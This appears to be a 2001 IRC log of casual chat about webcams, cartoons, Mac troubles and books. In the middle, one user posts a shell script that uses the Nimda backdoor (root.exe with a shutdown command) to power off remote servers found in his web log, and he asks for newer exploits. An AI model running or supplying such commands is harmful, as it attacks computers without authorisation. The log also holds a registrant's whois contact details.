02:29:02 [sbp]
when Stimpy joins the lodge, and Ren is crying... and all that paper and junk is blowing past him, and all of a sudden there
02:29:06 [sbp]
's a cow there
02:29:19 [sbp]
that cow was soooo funny
02:29:28 [Morbus]
no, aaronSw, you've got to do a lot worse :)
02:29:29 [sbp]
hello?
02:29:41 [AaronSw]
boo
02:29:46 [Morbus]
booboolina.com?
02:29:48 [sbp]
aaargh!
02:29:52 [Morbus]
poopoochoochoo.com?
02:30:10 [sbp]
is there a morbus.com?
02:30:40 [AaronSw]
yes
02:30:48 [AaronSw]
morbus.com (MORBUS3-DOM)
02:30:48 [AaronSw]
morbus@nicaragua.nu
02:30:49 [AaronSw]
702 Ave Plaza
02:30:49 [AaronSw]
Leon, LE 32700
02:30:50 [AaronSw]
NI
02:31:06 [Morbus]
heh. yeah, some guy tried to sell it to me once.
02:31:29 [sbp]
heh
02:32:23 [AaronSw]
I mean, hey, the guy's from Nicaragua.
02:32:43 [AaronSw]
He probably thought, hey, that Morbuse dude is a hoopy frood.
02:32:52 [AaronSw]
I'll buy morbus.com to build an awesome fan site.
02:32:58 [sbp]
Probably not, Aaron
02:32:58 [AaronSw]
And then he thought:
02:33:04 [AaronSw]
this fan site will be too much work.
02:33:06 [Morbus]
actually, sadly enough, someone came to me to do a morbus fan club
02:33:13 [AaronSw]
I'll sell it to my idol, Mr. Morbus.
02:33:17 [Morbus]
and then she's like "wait, my bf will get mad. how about a disobey fanclub?"
02:33:26 [sbp]
really? I'll bet it was Aaron
02:33:29 [AaronSw]
lol
02:33:32 [Morbus]
hehe. no, it was some chick :)
02:33:37 [sbp]
Er... Aarona
02:33:41 [Morbus]
lol
02:33:43 [Morbus]
aaronette
02:33:49 [sbp]
yeah, that's it
02:33:49 [AaronSw]
I know these quotes are going to be taken out of context... :-/
02:33:59 [sbp]
hopefully
02:34:01 [sbp]
:-)
02:34:04 [AaronSw]
lol
02:34:07 [Morbus]
hehe
02:34:21 [AaronSw]
Heh, I like this juxtaposition on CNN:
02:34:26 [AaronSw]
<CC> WE WILL RALLY THE WORLD TO
02:34:27 [AaronSw]
<CC> THIS CAUSE BY OUR EFFORTS,
02:34:27 [AaronSw]
<CC> BY OUR COURAGE.
02:34:27 [AaronSw]
<CC> WE WILL NOT TIRE.
02:34:27 [AaronSw]
<CC> WE WILL NOT FALTER, AND WE
02:34:28 [AaronSw]
<CC> WILL NOT FAIL.
02:34:31 [AaronSw]
<CC> [APPLAUSE]
02:34:32 [AaronSw]
<CC> POINT.
02:34:34 [AaronSw]
<CC> SHOOT.
02:34:47 [sbp]
Different
02:35:03 [AaronSw]
<CC> THE HP PAVILION 7970
02:35:03 [AaronSw]
<CC> WITH THE INTEL
02:35:03 [AaronSw]
<CC> PENTIUM 4 PROCESSOR.
02:35:03 [AaronSw]
<CC> HOW WILL YOU USE IT?
02:35:08 [AaronSw]
That's a very good question...
02:35:12 [sbp]
* sbp wonders where the sign-up sheet is for the disobey fanclub
02:35:20 [sbp]
lol @ Q
02:35:42 [Morbus]
oOoh. you wanna be my number one fan?
02:38:22 [sbp]
* sbp should go read some more Crowley to woo Morbus the next time he drops by
02:38:48 [Morbus]
you could buy me something off my wishlist instead ;)
02:39:03 [sbp]
* sbp is still trying to find a copy of LZIII with "do what thou shalt..." in the run-off groove
02:39:06 [AaronSw]
camboy!
02:39:16 [sbp]
lol! woo, camboy
02:39:19 [AaronSw]
We need a Morbus webcam.
02:39:25 [Morbus]
i got one :)
02:39:28 [Morbus]
you want it on? :)
02:39:30 [AaronSw]
* AaronSw set up his webcam today...
02:39:38 [sbp]
* sbp wonders what a webcam is
02:39:41 [AaronSw]
Err, well, yes...
02:39:55 [Morbus]
alright. hold on. gotta start up classic
02:40:09 [sbp]
please: no obscene gestures
02:40:25 [sbp]
and don't push the red button...
02:40:28 [Morbus]
oh, i'm rather boring.
02:40:49 [sbp]
sorry, you can't beat me
02:41:12 [AaronSw]
hmm, wonder why my website is being so slow...
02:42:14 [AaronSw]
Aha... here's my webcam photo from this morning: http://swartzfam.com/aaron/computer.jpg
02:42:17 [sbp]
lol
02:42:18 [Morbus]
alright, 63.173.138.149/index.htm should get ya thou
02:42:19 [sbp]
[[[
02:42:20 [sbp]
Bob Saget of America's Funniest Home Videos
02:42:20 [sbp]
calls this page "uproariously funny. A perfect ten."
02:42:26 [sbp]
]]] - http://www.disobey.com/indexx.htm
02:42:34 [AaronSw]
Heh!
02:42:34 [Morbus]
whoo! you found the secret page!
02:42:47 [Morbus]
i congratulate you!
02:42:49 [AaronSw]
I bet he never said that, though.
02:43:00 [sbp]
thanks
02:43:19 [sbp]
heh, the Webcam's coming through
02:43:23 [AaronSw]
do you always websurf without a shirt?
02:43:31 [Morbus]
i do everything in boxers
02:43:34 [AaronSw]
How'd you find it, sbp?
02:43:34 [sbp]
and where's the obscene gesture? come on!
02:43:48 [sbp]
find it: dunno. I just appear in places like that
02:44:06 [Morbus]
how's that
02:44:06 [sbp]
hooray!
02:44:15 [Morbus]
hehe
02:44:49 [sbp]
perfect. I'm gonna have a poster made of it, and sell it to the Morbus minions
02:45:05 [Morbus]
you should. i'll sign 100 copies if you cut me in ;)
02:45:21 [sbp]
I'll sign 'em myself, save you the shipping
02:45:32 [Morbus]
no, no, i have my own special sig...
02:45:35 [Morbus]
lemme sharpie it for you
02:45:46 [sbp]
if you must
02:46:22 [sbp]
* sbp wonders if that's the top of a laptop in the camview
02:46:41 [Morbus]
ah. no. that's a glass of water
02:47:08 [sbp]
interesting: I don't have any sensibilities
02:47:16 [Morbus]
:)
02:47:18 [sbp]
what's the deeley at the bottom?
02:47:28 [Morbus]
hmm?
02:47:38 [AaronSw]
figure it out, binky.
02:47:48 [sbp]
woot?
02:47:53 [Morbus]
w00t!
02:48:07 [sbp]
I repeat: woot?
02:48:16 [Morbus]
w00t!
02:48:21 [Morbus]
i dunno. i heard it somewhere
02:48:30 [sbp]
man, you look so bored
02:48:43 [sbp]
* sbp can't blame you
02:48:47 [Morbus]
playing some stupid game and chatting to a room full of moro.... oop.
02:48:52 [Morbus]
i mean. uh. i'm discussin the intricacies of life
02:48:59 [sbp]
yeah, precisely
02:49:26 [sbp]
you mean moro^h^h^h^hvery nice people
02:49:28 [Morbus]
ooh. you wanna see freeshit people have sent me?
02:49:39 [sbp]
yeah! any body parts?
02:49:52 [Morbus]
no. stupid shit :)
02:50:01 [sbp]
just as good
02:50:18 [Morbus]
thats some stupid cd that beckons me to get off the computer in "electro" tones.
02:50:27 [sbp]
* sbp wonders where Aaron went
02:50:50 [AaronSw]
* AaronSw is here
02:51:00 [sbp]
* sbp jumps
02:51:04 [AaronSw]
what's that?
02:51:06 [AaronSw]
I can't read it
02:51:10 [sbp]
aaargh, blurry
02:51:13 [Morbus]
refresh. better image
02:51:23 [Morbus]
that's some stupid thing that peoplecards sent me.
02:51:39 [AaronSw]
Heh.
02:52:01 [sbp]
what's that?
02:52:12 [sbp]
oh, it's some dude looking at a Webcam
02:52:36 [Morbus]
thats some 1995 sealed "entertainment zine".
02:52:41 [Morbus]
i collect shit like that.
02:52:54 [Morbus]
nd that's all the stuff that i have ne...ooOP. one more;
02:53:00 [sbp]
neat: who's that on the cover?
02:53:33 [Morbus]
trent reznor from the closer video
02:53:48 [Morbus]
and that's some cock soup mix from canada
02:54:17 [sbp]
cock soup?
02:54:26 [Morbus]
yeah :)
02:54:30 [Morbus]
chicken soup.
02:54:33 [sbp]
and you haven't eaten it yet?
02:54:39 [sbp]
:-)
02:54:40 [Morbus]
yeah, so that's all i have nearby
02:54:57 [sbp]
* sbp should get a webcam... cool to harass people with
02:55:08 [Morbus]
ooh...
02:55:17 [Morbus]
advertising income!
02:55:26 [AaronSw]
* AaronSw would turn on his webcam but I'm not going to start up classic just so you losers can look at me.
02:55:35 [Morbus]
hehe.
02:55:37 [AaronSw]
advertising? on your webcam?
02:55:45 [Morbus]
there's only one adonis in this room, and thats me.
02:55:48 [Morbus]
no for gamegrene.
02:56:15 [sbp]
aw go on, turn it on!
02:56:21 [Morbus]
one of my covers for an mp3 cd
02:57:01 [sbp]
Woo, Green Day!
02:57:16 [sbp]
Warning's quite a good song actually...
02:57:22 [Morbus]
and that's you :)
02:57:48 [sbp]
what is?
02:57:52 [AaronSw]
Heh.
02:57:58 [sbp]
aha!
02:58:14 [sbp]
ooh, blue and black
02:58:39 [Morbus]
yah :)
02:58:41 [Morbus]
black and blue, i prefer
02:58:50 [sbp]
* sbp wonders who Mishka is...
02:59:22 [sbp]
ah
03:00:47 [sbp]
Hmm... http://www.w3.org/TR/2001/WD-di-princ-20010918/
03:00:58 [AaronSw]
Device Independent Prince Nodes?
03:01:00 [Morbus]
c'mon aaron, your turn
03:01:05 [sbp]
yeah
03:01:12 [AaronSw]
Aww, do I really have to start up classic?
03:01:21 [Morbus]
yes, yes, you do :)
03:01:26 [Morbus]
i did it for you!
03:01:26 [Morbus]
:)
03:01:26 [sbp]
'fraid so. We wanna see your junk
03:01:36 [AaronSw]
OK... but just this once.
03:02:22 [Morbus]
one more pic for everyone in a sec
03:03:08 [Morbus]
l00k!
03:03:51 [sbp]
Woo, Futurama
03:03:53 [AaronSw]
Ooh... Are you Morbo?
03:03:56 [Morbus]
shutting it down. must focus on aaron
03:04:09 [Morbus]
heh. no. but i've had two people remember that char when they see me
03:04:20 [sbp]
lol
03:05:52 [sbp]
* sbp gets some weird foreign label spam
03:06:31 [sbp]
do people really expect me to buy some labels when they send me huge emails in languages that I do not understand?
03:07:15 [sbp]
and anyway... labels! If I need some labels, I
03:07:21 [sbp]
'll just go down the road
03:07:35 [sbp]
* sbp thinks about moving his ' key away from his enter key
03:07:40 [Morbus]
hehe
03:07:47 [AaronSw]
Yuck... I hate Classic.... :-(
03:07:57 [sbp]
Oh, stop whinging!
03:08:22 [sbp]
Morbus didn't whinge (much)
03:08:39 [Morbus]
oh aaron.
03:08:54 [Morbus]
what the frel is the magic zip shell command to zip up a bunch of jpgs?
03:08:58 [sbp]
you came and you sold me a turkey
03:10:04 [AaronSw]
magic: that sounds like a deltab question
03:11:54 [Morbus]
ah twell
03:12:54 [tav]
zip?
03:12:57 [tav]
tar boy!
03:12:58 [tav]
tar!
03:13:12 [tav]
tar on tar off
03:13:19 [tav]
* tav moves hand in circular motion
03:13:24 [Morbus]
i can't even figure that out ;)
03:13:27 [AaronSw]
heh
03:13:40 [Morbus]
i always wanted a clapper
03:14:04 [AaronSw]
Classic shouldn't take this freaking long... it's only 1/4 of the way done!
03:14:23 [Morbus]
holy turd, you serius?
03:14:35 [Morbus]
my classic takes about 30 seconds to startup
03:14:45 [Morbus]
there's something wrong with that
03:15:36 [AaronSw]
i'm going to stop it and try again...
03:15:53 [AaronSw]
It feels like nails screeching at chalk board... over and over and over again.
03:16:32 [Morbus]
thats so messed up.
03:16:41 [Morbus]
are you running all your 3rd party extensions still?
03:16:49 [Morbus]
lots of fonts in your folder?
03:16:58 [Morbus]
rebuilt desktop lately/
03:16:58 [Morbus]
turned off "apple menu options"?
03:16:59 [AaronSw]
probably... i haven't used classic for a long time
03:17:18 [AaronSw]
and i never upgraded to 9.2.1
03:17:54 [Morbus]
thats what i have right now, but even under 9.1 it was a lot faster than your travesty.
03:22:00 [AaronSw]
it seems to have gotten stuck again in the same place
03:22:09 [Morbus]
i'd rebuild the desktop
03:25:41 [Morbus]
i think this is an excuse so you don't have to cam yoruself
03:25:50 [sbp]
* sbp too :-)
03:26:09 [AaronSw]
no! I'm serious...
03:26:25 [AaronSw]
i'm rebuilding the desktop now, but it's really slow too.
03:26:56 [sbp]
reboot?
03:27:58 [AaronSw]
yay! finally the other computer is free
03:28:09 [Morbus]
and lemem guess.
03:28:18 [Morbus]
your cam is all jumbled with other wires, so you can't move it to there ;)
03:28:30 [AaronSw]
no -- it's a portable
03:28:38 [AaronSw]
and my cam is not jumbled! my desk is very clean
03:28:42 [Morbus]
hehehe.
03:28:45 [Morbus]
don't get indignant now
03:29:00 [sbp]
mine has limited space... there's a keyboard, and a comb
03:29:10 [AaronSw]
Now just let me start up Classic on the other computer...
03:29:14 [Morbus]
yeah, my keyboard has a lot of hair in it too
03:29:20 [sbp]
lol
03:31:19 [AaronSw]
OK, here we go...
03:31:59 [AaronSw]
hmmph.. CoolCam froze, it seems
03:32:20 [sbp]
ghrghpmrhprh
03:32:25 [Morbus]
i knew it would
03:32:33 [AaronSw]
CoolCam keeps quitting out...
03:32:39 [sbp]
:-)
03:32:48 [AaronSw]
I'm serious!
03:32:55 [AaronSw]
Computers Suck.
03:33:13 [Morbus]
hehehe
03:33:16 [AaronSw]
Will CoolCam X work?
03:33:32 [Morbus]
i dunno what your problem is. how about you just mail us a picture.
03:33:41 [Morbus]
under 9? i dunno
03:33:48 [Morbus]
but if the drivers are only under classic, then no
03:34:02 [AaronSw]
it's the same drivers you had...
03:34:10 [Morbus]
nope, they won't
03:34:13 [AaronSw]
* AaronSw restarts classic
03:36:40 [AaronSw]
yay! it works!
03:38:34 [Morbus]
cool. where is it?
03:39:10 [Morbus]
course, i'm leaving in 10 minutes. gf is coming home.
03:39:24 [AaronSw]
oh, great...
03:39:29 [AaronSw]
can we get her on the cam?
03:39:41 [Morbus]
no. :)
03:40:01 [AaronSw]
wtf? Not enough entropy in RNG
03:40:16 [Morbus]
?
03:41:24 [Morbus]
ah twell. i'm leaving.
03:41:34 [Morbus]
see ya aaron and sean.
03:41:34 [AaronSw]
connection timed out
03:41:42 [sbp]
c'ya Morbus!
03:41:46 [AaronSw]
i'm just having no luck today
03:41:50 [AaronSw]
bye
03:41:57 [Morbus]
like me and this stupid irc program :)
03:42:10 [Morbus]
Morbus has quit
03:42:34 [sbp]
Well, your Webcam program is nuts
03:42:48 [sbp]
and to log off, I have to reset my computer. Wonderful
03:43:19 [AaronSw]
ahh, here we go
03:43:35 [sbp]
URI?
03:44:12 [sbp]
sbp has quit
03:44:21 [AaronSw]
http://dev.logicerror.com/webcam.jpg
03:44:23 [AaronSw]
ugh!
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03:44:32 [AaronSw]
http://dev.logicerror.com/webcam.jpg
03:44:47 [sbp]
oops
03:44:49 [sbp]
aha!
03:45:10 [sbp]
powermac?
03:45:18 [AaronSw]
TiBook... PowerBook
03:45:35 [sbp]
Got any interesting junk?
03:46:16 [AaronSw]
Ooh, my copy of Weaving The Web
03:47:03 [sbp]
the picture seems to be static
03:47:11 [AaronSw]
reload now
03:47:15 [sbp]
aha
03:47:34 [sbp]
heh, "(all one line)"
03:47:43 [AaronSw]
Ben: I'm sorry I didn't send out that Simpsons CD... I have the physical disk but I haven't had time.
03:47:51 [sbp]
that's O.K.!
03:47:53 [AaronSw]
(Ben refuses to be photoed.)
03:47:57 [sbp]
:-)
03:48:04 [tav]
ben?
03:48:08 [AaronSw]
My brother.
03:48:10 [AaronSw]
Reload!
03:48:12 [tav]
age?
03:48:15 [sbp]
tav!
03:48:39 [AaronSw]
younger than me
03:48:40 [tav]
sbp...
03:48:52 [AaronSw]
reload! my setup...
03:49:16 [sbp]
Aaron "three monitors" Swartz :-)
03:49:22 [AaronSw]
:-)
03:49:33 [sbp]
we're on the little on?
03:49:34 [tav]
hmz
03:49:36 [sbp]
s/on/one
03:49:41 [AaronSw]
nah, the big one...
03:49:42 [tav]
i fear caching
03:50:15 [tav]
wow
03:50:28 [tav]
BIG monitor
03:50:31 [AaronSw]
(it's not usually like that)
03:50:37 [AaronSw]
ahh, there's you...
03:50:40 [AaronSw]
It's not that big!
03:50:59 [tav]
that's the tiBook ?
03:51:03 [sbp]
woo, #swhack!
03:51:14 [AaronSw]
what is? latest picture is of big CRT
03:51:33 [tav]
no, the big monitor thing..
03:51:50 [AaronSw]
Yeah, the one on the right is the tiBook
03:52:00 [AaronSw]
reload! my bookshelf
03:52:10 [sbp]
YourLowestBookshelf
03:52:26 [AaronSw]
:-)
03:52:46 [sbp]
can't really read the book titles all that well...
03:52:59 [AaronSw]
reload! oversized Tweety Bird
03:53:18 [sbp]
woo!
03:53:18 [tav]
hehe
03:53:27 [tav]
do bookshelf again
03:53:29 [tav]
i missed that
03:53:50 [sbp]
try from a bit closer range, too
03:54:09 [AaronSw]
ok... try now
03:54:30 [sbp]
ha, P2P
03:54:54 [sbp]
I've got a signed copy :-)
03:55:16 [AaronSw]
Pfft.
03:55:18 [sbp]
He he he
03:55:26 [tav]
* tav sees learning pythong
03:55:29 [tav]
woo!
03:55:48 [tav]
sbp: you were at the conference?
03:55:57 [sbp]
Nope
03:56:04 [sbp]
Heh, as if
03:56:16 [tav]
i was ;p
03:56:18 [tav]
* tav gloats
03:56:21 [sbp]
I got one of the co-authors to sign when he visited my house
03:56:26 [AaronSw]
How can you see Learning Python -- it was turned backwards in that picture?
03:56:31 [tav]
which one?
03:56:38 [sbp]
DanBri
03:56:52 [sbp]
er... Dan Brickley
03:56:52 [tav]
ah that metadata chapter
03:57:03 [sbp]
* sbp notes the Bricklin/Brickley problem
03:57:24 [tav]
AaronSw: isn't it the one to the right?
03:57:35 [tav]
'learnin'
03:57:38 [AaronSw]
No, that's Learning Cocoa...
03:57:47 [AaronSw]
Learning Python is on the upper left.
03:57:49 [tav]
damnit!
03:57:57 [sbp]
He he he
03:58:07 [tav]
same size, similar colour, figured the webcam munged it
03:58:28 [AaronSw]
Similar animal... :-)
03:58:45 [AaronSw]
* AaronSw wonders what to take picture of...
03:58:54 [sbp]
the room?
03:59:06 [AaronSw]
not much in it, i'm afraid.
03:59:20 [sbp]
just you, a few computers, a Tweety bird...
03:59:26 [AaronSw]
... and a bed
03:59:40 [sbp]
it's your bedroom?
03:59:47 [AaronSw]
yeah, what'd you think it was?
03:59:55 [sbp]
an office!
04:00:06 [AaronSw]
pfff... why have two rooms when you can have one?
04:00:36 [AaronSw]
that way i can get out of bed and make sleepy comments on IRC
04:00:41 [sbp]
I suppose. My computer's in my bedroom too...
04:00:48 [tav]
heh
04:01:01 [tav]
well, in my flat, my bedroom remained unoccupied for the most part
04:01:04 [sbp]
but it only takes up a small spot in it
04:01:15 [sbp]
not even a bed?
04:01:15 [tav]
i slept on the floor unless i had company
04:01:24 [sbp]
wow
04:01:35 [tav]
yea, there was a bed, but it was a waste really
04:01:45 [sbp]
why sleep on the floor?
04:01:52 [tav]
soooooooo much nicer
04:01:56 [tav]
and feels more natural
04:02:00 [sbp]
harder, I guess
04:02:00 [tav]
closer to earth
04:02:05 [sbp]
I like my sofa
04:02:17 [sbp]
[just an incedental comment]
04:02:33 [tav]
come on sofa! be my bitch!
04:02:39 [sbp]
lol
04:03:03 [tav]
AaronSw: picture of yourself?
04:03:21 [AaronSw]
http://aaronsw.com/computer.jpg
04:03:49 [AaronSw]
reload! rest of room
04:04:23 [sbp]
* sbp tries to make sense of that photo
04:04:31 [sbp]
bed on the right...
04:04:37 [AaronSw]
radiator on the left
04:04:39 [AaronSw]
carpet on the floor
04:04:40 [sbp]
white grill thing on the left
04:04:46 [sbp]
and a white blob on the floor
04:04:50 [AaronSw]
it's green!
04:05:07 [sbp]
looks pretty white to me
04:05:16 [AaronSw]
didn't come out so well in the picture.
04:05:35 [tav]
what is it?
04:05:39 [sbp]
what happens to the carpet by the radiator?
04:05:47 [AaronSw]
what is what?
04:05:51 [AaronSw]
the carpet has survived fine.
04:06:23 [sbp]
I mean, it seems to abutt weirdly... I'm having trouble working out the picture
04:06:43 [AaronSw]
It's an interesting picture... you have to understand that it's rotated slightly funny.
04:07:23 [AaronSw]
computer.jpg: the sunlight does make me look something other than caucasian, tav. you'
04:07:23 [sbp]
what's the model on the radiator?
04:07:31 [AaronSw]
tav: you're right.
04:07:36 [AaronSw]
model?
04:07:43 [AaronSw]
that's the lamp I made.
04:07:45 [sbp]
something
04:07:55 [AaronSw]
and to the left of it is a Pringles can for a 802.11 pringles can antenna i'm going to build someday
04:08:00 [sbp]
the wooden thing?
04:08:06 [AaronSw]
yeah, it's a cool lamp
04:08:13 [sbp]
blimey
04:08:32 [tav]
hmz
04:08:51 [tav]
acs?
04:09:02 [tav]
you are running acs?
04:09:09 [AaronSw]
On that server, yes.
04:09:14 [AaronSw]
on my dev box
04:09:51 [sbp]
the wonderful dev box
04:09:55 [sbp]
let's have a snap of it!
04:09:57 [tav]
* tav looks in scorn
04:10:00 [AaronSw]
it's in the basement
04:10:06 [tav]
zope lad!
04:10:08 [tav]
zope!
04:10:09 [sbp]
Aw
04:10:21 [AaronSw]
heh... it's a leftover from before I knew of the Zope Way. ;-)
04:10:31 [AaronSw]
OK, time to go negative!
04:11:48 [sbp]
p'on?
04:11:51 [AaronSw]
reload!
04:12:35 [sbp]
* sbp saves it, and does a negative
04:12:56 [sbp]
any other cool effects?
04:13:18 [AaronSw]
no, don't think so
04:13:35 [sbp]
ah, well
04:15:48 [sbp]
* sbp is unhappy that no obscene gestures have been made thus far
04:16:04 [AaronSw]
* AaronSw doesn't usually make obscene gestures a matter of public record
04:16:21 [sbp]
:-)
04:16:53 [sbp]
they're good because then you don't have to repeat yourself
04:17:10 [tav]
obscene gestures
04:17:11 [tav]
heh
04:17:21 [tav]
people and their sensibilities
04:17:29 [tav]
it's a gesture for fuck's sake
04:17:32 [sbp]
just wait 'till I get a Webcam...
04:17:40 [tav]
and 'fuck' it's just a bloody word!
04:17:52 [sbp]
yeah, I feel exactly the same fucking way
04:17:54 [sbp]
:-)
04:18:02 [AaronSw]
heh
04:18:07 [sbp]
so does Stephen Fry, apparently
04:18:22 [AaronSw]
I mean, I don't mind hearing them or seeing them... I just don't generally say them.
04:19:17 [AaronSw]
And you'll probably make fun of my hands. ;-)
04:19:39 [sbp]
?
04:20:15 [tav]
his wrists aren't really powerful yet
04:20:21 [tav]
* wink * wink *
04:20:31 [sbp]
Aaron, you should play more badminton
04:20:40 [sbp]
or Guitar
04:20:48 [AaronSw]
Heh.
04:20:48 [sbp]
my fingers were so weak when I started playing
04:21:01 [sbp]
* sbp picks up his guitar
04:21:10 [AaronSw]
As if I didn't get enough of this from Morbus...
04:22:22 [sbp]
* sbp wonders what to play
04:23:04 [sbp]
* sbp settles on a medley
04:23:07 [AaronSw]
Hmm, well you'll need to come over to my house sometime, sbp. Seeing it via webcam isn't the same.
04:23:29 [sbp]
yeah
04:24:48 [AaronSw]
reload and see my eyeball ;-)
04:25:05 [sbp]
heh
04:25:19 [sbp]
and the computer screens
04:25:32 [AaronSw]
heh... yeah
04:26:10 [sbp]
* sbp plays the Octopus' Garden solo
04:26:50 [AaronSw]
heh! this program has blurs!
04:27:05 [sbp]
demonstration?
04:28:07 [AaronSw]
yeah... look now
04:28:22 [sbp]
heh!
04:28:30 [sbp]
witness X...
04:28:41 [AaronSw]
The notorious SemWeb hacker!
04:28:46 [sbp]
lol
04:31:07 [sbp]
Well, bollocks to this
04:31:37 [sbp]
c'ya!
04:31:42 [AaronSw]
c'ya
04:31:46 [AaronSw]
i better do my homework now...
04:31:56 [sbp]
:-)
04:31:59 [sbp]
sbp has quit
04:34:32 [tav]
hmz
04:34:36 [tav]
where eyeball go?
04:34:44 [AaronSw]
we replaced it
04:35:18 [AaronSw]
and then i decided to delete things and cover up my trail. ;-)
04:35:23 [tav]
heh
04:42:24 [tav]
i'm going to bomb the pentagon tomorrow! bwahahahahahaha
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Users on #swhack: logster AaronSw eberg tav deltab
04:48:19 [AaronSw]
hmm
04:48:31 [AaronSw]
tav! how could you say such things?
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04:51:10 [AaronSw]
Hi BadMan
04:51:14 [BadMan]
hiya
04:51:33 [BadMan]
guess ome are alive in here hehe
04:51:46 [AaronSw]
What brings you here?
04:52:02 [BadMan]
the little word on end of channelname...
04:52:17 [AaronSw]
hacking?
04:52:20 [BadMan]
tired of these damn IIS nimda infected servers hitting my apache
04:52:42 [AaronSw]
Isn't everyone...
04:53:00 [BadMan]
jsut wana stopp themm tried an older lien to shutthemdown .. but most seem to be patcehd beyond that and imout of loop on it
04:53:11 [tav]
ROFL @ log
04:54:01 [BadMan]
i wont flood if I dump about 6 lines onya will i...?
04:54:08 [AaronSw]
no, don't think so
04:54:40 [BadMan]
LOG=/var/log/httpd/access_log
04:54:40 [BadMan]
URL_1="/scripts/root.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5"
04:54:40 [BadMan]
egrep 'cmd.exe?|root.exe?|winnt|masdc|MASDC' $LOG | cut -d\ -f1 | sort | uniq $
04:54:40 [BadMan]
do
04:54:40 [BadMan]
wget -T 45 -t 1 -nh -np --ignore-length --spider http://${line}${URL_1}
04:54:42 [BadMan]
done
04:55:19 [AaronSw]
why would you do that?
04:55:27 [BadMan]
basically this little script while running reads var/log/httpd/access.. looks in each line for the stuff in 'egrep'...
04:55:47 [BadMan]
if their offlien they aint sending nimda crap at me allt he time or anyone else..
04:56:09 [AaronSw]
Oh, so it just drops the machine dead?
04:56:21 [AaronSw]
* AaronSw hasn't researched the exploit yet.
04:56:24 [BadMan]
shuts it down... but liek i said
04:56:47 [BadMan]
im out of loop on nt(over 3 years out of loop) and it seems this old exploit is pretty well patched over..
04:57:09 [BadMan]
wondered if anyone had a newer or better exploit of similiar tactics
04:57:40 [AaronSw]
Not I...
04:58:11 [AaronSw]
did you try googling?
04:58:17 [BadMan]
yeap
04:58:23 [BadMan]
didnt find much..
04:58:46 [BadMan]
I also ran a iisrest one as well, it didnt seem to work..
04:58:54 [BadMan]
err iisreset
04:59:24 [BadMan]
it worked great on 4.0 most of these im getting hit by are 5.0
05:00:01 [BadMan]
just from one ip i have over 2000 hits today
05:00:42 [BadMan]
total of about 5000 hits today altogether 7000 yesterday.. all root.exe? and cmd.exe exploits
05:00:48 [AaronSw]
wow
05:01:09 [BadMan]
yeah total since start ont he 18th... staggering 19, 450
05:02:18 [AaronSw]
yeah, my servers are being pounded too. i've probably got about that many hits
05:02:33 [BadMan]
guess instead of trying to shut them down I should write a script to append each new IP to my firewall as denied..
05:02:54 [BadMan]
you hear anything about this lebrea...
05:04:15 [tav]
* tav fears saying anything in the channel
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evil AaronSw! evil AaronSw!
05:04:44 [BadMan]
hehe I guess I missed soemthin...
05:04:46 [AaronSw]
I'm sorry that you feel that way, tav.
05:10:55 [BadMan]
welp it was nice talkin to ya AaronSw if you happen to come across some kewl url scripts please message me thru memoserv...
05:10:59 [BadMan]
thanks again..
05:11:01 [AaronSw]
will do
05:11:06 [AaronSw]
no prob
05:11:09 [BadMan]
g'nite
05:11:12 [AaronSw]
sorry i wasn't more help
05:11:17 [AaronSw]
g'nite
05:11:24 [BadMan]
no biggie I WILLfind something 8)
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Hmm... are there real numbers a and b, such that sqrt(a + b) == sqrt(a) + sqrt(b) ?
05:31:07 [AaronSw]
Ahh.. 0
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* AaronSw thanks Python for this answer.
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wassup?
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nothing. nothing at all. i'm tired.
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gotta run
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topic is: Come one, come all! It's tav bashing day. Marvel at the ways in which tav is bashed
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Users on #swhack: logster scribe-Aaron
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exit
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18:54:40 [AaronSw]
Today in Music class:
18:55:10 [AaronSw]
We were discussing sharps and flats, and one student asked why we needed things like double sharps, etc. if they could be replaced by a simpler note.
18:55:18 [AaronSw]
The teacher replied that we would discuss that later.
18:55:30 [AaronSw]
The students, quite curious, continued to pleade for an explanation.
18:55:34 [AaronSw]
The teacher refused.
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One student finally said, "Can my friend Mr. Washington convince you to tell us?"
18:55:52 [AaronSw]
The teacher gave in.
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---
18:56:25 [AaronSw]
This was a story. I should do more of these.
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19:24:56 [AaronSw]
Hmm, it bothers me every time I visit Zope.org that they've stolen Apple's typeface.
19:25:28 [AaronSw]
Seen elsewhere:
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rm -rf /bin/Laden
19:26:59 [AaronSw]
Dmoz is on top of things:
19:27:03 [AaronSw]
http://dmoz.org/Society/Issues/Terrorism/International_Terrorists/USA_Designees/Al-Qaida/Usama_Bin-Laden/
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* AaronSw updates http://blogspace.com/pictures/
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* AaronSw waves
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* sbp waves at Aaron
20:49:02 [AaronSw]
I said a bunch of stuff in the logs today.
20:49:19 [AaronSw]
AaronSw has changed the topic to: This statement is funny.
20:49:37 [AaronSw]
I say some put some funny stuff in the logs when you're not around.
20:49:44 [AaronSw]
And, as tav discovered, even when you are!
20:50:08 [sbp]
* sbp goes through the logs
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* AaronSw goes back to annotating photos
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lol! Brie and cheese
21:05:42 [AaronSw]
Haven't you heard that? Bush said it.
21:05:55 [tav]
ehm
21:06:05 [tav]
this place gets weirder by the day
21:06:14 [AaronSw]
So, how's the Pentagon, tav?
21:06:25 [sbp]
I was just discussing with Aaron that transliterating "and" is not a good idea
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* AaronSw doesn't understand what transliterating "and" means
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... thus the comment
21:07:06 [sbp]
and, adn, dna, dan, nda, nad
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[[[
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Error:
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could not connect to "127.0.0.1:82" (opening connection)
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]]] - http://blogspace.com/swhack/chatlogs/2001-09-21.txt
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the latter is the one to be wary of
21:07:42 [AaronSw]
interesting...
21:10:00 [AaronSw]
OK, should be fixed now, sbp.
21:10:22 [AaronSw]
* AaronSw wonders where the OmniGroup comes up with their prices...
21:10:33 [AaronSw]
$14.92? $21.12?
21:10:36 [sbp]
cheers
21:10:41 [AaronSw]
$59.95!
21:12:53 [sbp]
who? huh?
21:13:10 [sbp]
* sbp has assed swintro to SBP SWAD
21:13:17 [AaronSw]
cool
21:15:13 [AaronSw]
Way to report known CWM bugs, sbp! You go, girl!
21:15:32 [sbp]
semanticWeb-long!
21:15:32 [AaronSw]
Hey, I saw Bob Mankoff on TV the other day, he looks really...interesting.
21:15:40 [sbp]
Bob Mankoff?
21:15:58 [AaronSw]
Head of the Cartoon Bank, runs the New Yorker's cartoon department.
21:16:18 [sbp]
Oh
21:16:29 [AaronSw]
http://www.reuben.org/news/0897/mankoff.asp
21:16:45 [sbp]
sbp has changed the topic to: [ a :Joke ] .
21:16:49 [AaronSw]
He looks cooler than he does in the cartoon, though.
21:17:15 [AaronSw]
